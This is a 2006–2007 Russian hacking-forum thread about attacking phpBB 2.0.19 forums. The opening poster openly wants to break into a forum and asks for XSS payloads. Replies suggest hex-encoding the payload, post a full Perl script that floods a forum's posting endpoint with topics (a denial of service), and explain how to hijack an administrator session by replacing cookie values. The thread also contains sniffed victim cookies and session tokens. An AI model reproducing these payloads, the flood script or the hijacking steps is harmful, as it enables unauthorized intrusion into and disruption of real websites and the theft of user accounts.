ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

phpbb 2.0.19 можно ли провести xss атаку на форумы таких версий
  #1  
Старый 17.10.2006, 19:34
Аватар для Taylorith
Taylorith
Участник форума
Регистрация: 06.09.2006
Сообщений: 177
Провел на форуме:
284125

Репутация: 16
Post phpbb 2.0.19 можно ли провести xss атаку на форумы таких версий

Привет всем!
ВОт такая проблема,хочу сломать форум но на нео нету ни одного эксплойта,начал изучать как составлять атаки xss,но не полностью понял о чем идет ресь,хочу чтобы вы мне поомгли в этом,скажите как для этих форумов можно составить xss атаку,я пробовал "><script>alert()</script> чтобы попробовать это я регистрируюсь на форуме вхожу в сосданную тему и отвечаю вот таким вот образом(выше),ничего не происходит,посомтрел фильтр имеет дырки или нет,пробовал '';!--"<exp>=&{()} вошел в соурс чтобы посмотреть как фильтр реагирует а там '';!--&quot;&lt;fuck&gt;=&amp;{()} вот что,я так понял дырок фильтр не имеет так как он заменил <> на другие символы,в статье HakNet (http://forum.antichat.ru/thread20140.html) как раз оттуда я все прочитал,все это написано для старых версий и на новые не проходит,я просто новичек в этом деле хочу чтобы вы немного профснили мне чсто дальше делать если фильтр фильтрует все это,что в этом случае предпринять?Если кто сможет привести пример xss атаки для форумов phpbb 2.0.19 я буду очень благодарен и как раз смогу понять в чем моя ошибка?Вернее что я должен был предпринять дальше,и впринципе все проясниться,даьше смогу сам составлять xss атаки.Спасибо заранее!!
Тока пожалуйста не ругайтесь!!)) Спасибо!!

Последний раз редактировалось Taylorith; 17.10.2006 в 19:38..
 
Ответить с цитированием

  #2  
Старый 31.12.2006, 17:05
Аватар для oleg_2005
oleg_2005
Новичок
Регистрация: 30.12.2006
Сообщений: 7
Провел на форуме:
17726

Репутация: 0
По умолчанию

Кодируй XSS в hexe
 
Ответить с цитированием

  #3  
Старый 15.01.2007, 23:40
Аватар для n3r0bi0m4n
n3r0bi0m4n
Новичок
Регистрация: 21.08.2005
Сообщений: 25
Провел на форуме:
164185

Репутация: 3
По умолчанию

phpbb 2.0.18+ .. точно не знаю версию.

стянул сессию. меняю в куках phpbb2mysql_sid (что-то подобное), потом перезагружаю страницу. в итоге просто выкидывает..

подскажите в чем проблема может быть
 
Ответить с цитированием

  #4  
Старый 16.01.2007, 00:01
Аватар для zl0ba
zl0ba
Banned
Регистрация: 10.10.2006
Сообщений: 596
Провел на форуме:
2132613

Репутация: 1365


По умолчанию

Ьебята, здесь сплоит не давно выкладывали на форуме. Может попробуете :
Код:
#!/usr/bin/perl 

print q{ 
__________________________________________________  _______________________ 
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>| 

           /      \ 
        \  \  ,,  /  / 
         '-.`\()/`.-' 
        .--_'(  )'_--. 
       / /` /`""`\ `\ \           * SpiderZ ForumZ Security * 
        |  |  ><  |  | 
        \  \      /  / 
            '.__.'        


=> Exploit phpBB 2.0.19 ( by SpiderZ ) 
=> Topic infinitely exploit 
=> Sito: www.spiderz.tk 

__________________________________________________  _______________________ 
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>| 

}; 

use IO::Socket; 

## Initialized X 
$x = 0; 

## Exploit phpbb 2.0.19 SpiderZ 
print q( 
Exploit phpBB 2.0.19 ( by SpiderZ ) 

); 
print q( 
=> Scrivi l'url del sito senza aggiungere http & www 
=> Url: ); 
$host = <STDIN>; 
chop ($host); 

print q( 
=> Adesso indica in quale cartella e posto il phpbb 
=> di solito si trova su /phpBB2/ o /forum/ 
=> Cartella: ); 
$pth = <STDIN>; 
chop ($pth); 

print q( 
=> Occhio usa un proxy prima di effettuare l'attacco 
=> il tuo ip verra spammato sul pannello admin del forum 
=> Per avviare l'exploit scrivi " hacking " 
=> ); 
$type = <STDIN>; 
chop ($type); 

## Search exploit phpbb by SpiderZ 
if($type == 1){ 

## Search exploit phpbb by SpiderZ 
while($x != 0000) 
{ 

## Search exploit phpbb by SpiderZ 
$x++; 
} 

## Nome attack Hacking 
} 
elsif ($type == hacking){ 

## Search exploit phpbb by SpiderZ 
while($x != 10000) 
{ 
## Invia Search exploit phpbb by SpiderZ 
$postit = "post=Hacking$x+&username=Exploit&subject=Exploit_phpbb_2.0.19&message=Topic infinitely exploit phpBB 2.0.19"; 

## Posit Length 
$lrg = length $postit; 

## Connect Socket with Variables Provided By User 
my $sock = new IO::Socket::INET ( 
                                 PeerAddr => "$host", 
                                 PeerPort => "80", 
                                 Proto => "tcp", 
                                ); 
die "\nConnessione non riuscita: $!\n" unless $sock; 

## Invia Search exploit phpbb by SpiderZ 
print $sock "POST $pth"."posting.php?mode=newtopic&f=1 HTTP/1.1\n"; 
print $sock "Host: $host\n"; 
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n"; 
print $sock "Referer: $host\n"; 
print $sock "Accept-Language: en-us\n"; 
print $sock "Content-Type: application/x-www-form-urlencoded\n"; 
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n"; 
print $sock "Content-Length: $lrg\n\n"; 
print $sock "$postit\n"; 
close($sock); 

## exploit phpbb by SpiderZ 
syswrite STDOUT, "."; 

## exploit phpbb by SpiderZ 
$x++; 
} 
}else{ 

## Error Exploit phpbb 
   die " 
Error ! riprova... 
\n"; 
}
 
Ответить с цитированием

  #5  
Старый 16.01.2007, 01:00
Аватар для злюка
злюка
Постоянный
Регистрация: 11.11.2005
Сообщений: 317
Провел на форуме:
2848854

Репутация: 409
Отправить сообщение для злюка с помощью ICQ
По умолчанию

Цитата:
Сообщение от n3r0bi0m4n  
phpbb 2.0.18+ .. точно не знаю версию.

стянул сессию. меняю в куках phpbb2mysql_sid (что-то подобное), потом перезагружаю страницу. в итоге просто выкидывает..

подскажите в чем проблема может быть
про sid забудь он не нужен, нужно заменять pass_hash и id.
 
Ответить с цитированием

  #6  
Старый 16.01.2007, 18:55
Аватар для DeBugger
DeBugger
Участник форума
Регистрация: 06.09.2006
Сообщений: 139
Провел на форуме:
1026322

Репутация: 124
Отправить сообщение для DeBugger с помощью ICQ
Angry

Цитата:
Сообщение от zl0ba  
Ьебята, здесь сплоит не давно выкладывали на форуме.
Обясни, DOS-то тут причём. Вопрос был про XSS.
 
Ответить с цитированием

  #7  
Старый 16.01.2007, 19:44
Аватар для n3r0bi0m4n
n3r0bi0m4n
Новичок
Регистрация: 21.08.2005
Сообщений: 25
Провел на форуме:
164185

Репутация: 3
По умолчанию

Цитата:
Сообщение от злюка  
про sid забудь он не нужен, нужно заменять pass_hash и id.
то-есть средствами xss форум не сломать?
 
Ответить с цитированием

  #8  
Старый 16.01.2007, 20:00
Аватар для TTyck
TTyck
Участник форума
Регистрация: 13.11.2005
Сообщений: 199
Провел на форуме:
824195

Репутация: 75
Отправить сообщение для TTyck с помощью ICQ
По умолчанию

n3r0bi0m4n, сломать возможно.. просто sid нужно удалять (это сессия)... а другие параметры менять.
 
Ответить с цитированием

  #9  
Старый 16.01.2007, 20:55
Аватар для n0ne
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408

Репутация: 861


По умолчанию

n3r0bi0m4n, стираешь из куков sid вообще напрочь, меняешь pass_hash на админовский, и id на админовский, перезаходишь и всё.
 
Ответить с цитированием

  #10  
Старый 16.01.2007, 22:00
Аватар для n3r0bi0m4n
n3r0bi0m4n
Новичок
Регистрация: 21.08.2005
Сообщений: 25
Провел на форуме:
164185

Репутация: 3
По умолчанию

вот то что наснифилось

IP: 82.200.251.183
QUERY: phpbb2mysql_data=a:2:{s:11:"autologinid";s:32:"353 cb7bc17a426dfe6670e0d95257dfa";s:6:"userid";i:2330 ;}; phpbb2mysql_lastid=2330; cpg133_data=YTozOntzOjI6IklEIjtzOjMyOiJlZWRlZmVkZT NlZjUwY2FmMDc1YmEyZjg0NDg0ZTdjYyI7czoyOiJhbSI7aTox O3M6MzoibGl2IjthOjI6e2k6MDtzOjM6IjM3NCI7aToxO3M6Mz oiMzY1Ijt9fQ==; PHPSESSID=11a3cb062053fcd93dc542a9341a0ee3; b=b; hotlog=1; phpbb2mysql_sid=414adeefacfbf42030f6d3b78b1ba695
REFERER: ***='<script src="***/script.js"></script>
AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MRA 4.8 (build 01709); .NET CLR 1.1.4322)


эм.. а де тут хэш? =)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SQL инъекция (в т.ч. и blind SQL) kot777 Уязвимости 4 04.10.2008 17:18
Xss для новичков Micr0b Уязвимости 0 04.06.2006 18:25
Как можно узнать пасс админа форума phpBB 2.0.19? Ozzakk Форумы 3 30.05.2006 20:32
химия своими руками silveran Болталка 43 11.01.2006 22:05



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ